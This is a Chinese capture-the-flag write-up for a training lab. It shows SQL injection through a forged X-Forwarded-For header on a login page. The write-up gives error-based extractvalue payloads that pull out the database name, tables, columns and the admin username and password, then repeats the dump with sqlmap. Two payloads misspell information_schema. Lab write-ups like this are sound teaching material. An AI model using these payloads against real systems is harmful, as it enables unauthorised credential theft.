0x00.题目描述:
背景介绍
某业务系统,安全工程师"墨者"进行授权黑盒测试,系统的业主单位也没有给账号密码,怎么测?
实训目标
1、掌握SQL注入的基本原理;
2、了解服务器获取客户端IP的方式;
3、了解SQL注入的工具使用;
解题方向
对登录表单的各参数进行测试,找到SQL注入点,对数据库内容进行读取,找到账号与密码。
0x01.解题思路:
前人的方法多半是找到注入点,然后直接sqlmap爆库,工具还是好用,但是手工爆库能加深理解吧。
靶场环境:
登录界面
手工注入:
任意输入一对用户名和密码,使用burpsuite抓包分析
可以看到,返回的结果中是包含了登录主机的ip地址,在http头中并没有xff头部信息,所以利用burpsuite构造一个伪造的xff头部信息,xff头部信息的格式为:X-Forwarded-For:ip1,ip2,ip3
XFF头部信息伪造后,就可以对该XFF进行注入的判断,在ip地址后加单引号,可以看到是直接报错了,因此存在注入的可能。
接下来就是对数据库的获取,利用常用的报错注入函数,extractvalue或者是updatexml来进行爆库。
第一步:获取数据库名
payload:X-Forwarded-For:1'and extractvalue(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
得到数据库名:webcalendar
第二步:获取表名
payload:X-Forwarded-For:1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_scheam.tables where table_schema='webcalendar'))) and '1'='1
得到表名:logins,user
第三步:获取user表的列名
payload:X-Forwarded-For:1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_scheam.columns where table_name='user'))) and '1'='1
得到列名:id,username,password
第四步:获取用户登录名及密码字段
payload:X-Forwarded-For:1' and extractvalue(1,concat(0x7e,(select group_concat(username,password) from user))) and '1'='1
得到登录信息:admin,2861416483,获取题目flag
sqlmap注入:
有个比较坑的地方,就是手工注入后,靶场就失效了,需要重新启动一下靶场,不然sqlmap检测不到注入点,还以为sqlmap出问题了~
把burpsuite的raw复制到xff.txt文件中,然后直接sqlmap跑就OK了,论工具的强大
爆库名:sqlmap -r xff.txt --dbs --batch
爆表名:sqlmap -r xff.txt -D webcalendar --tables --batch
爆列名:sqlmap -r xff.txt -D webcalendar -T user --columns --batch
爆字段:sqlmap.py -r C:\xff.txt -D webcalendar -T user -C 'username,password' --dump --batch
登录即可得到flag~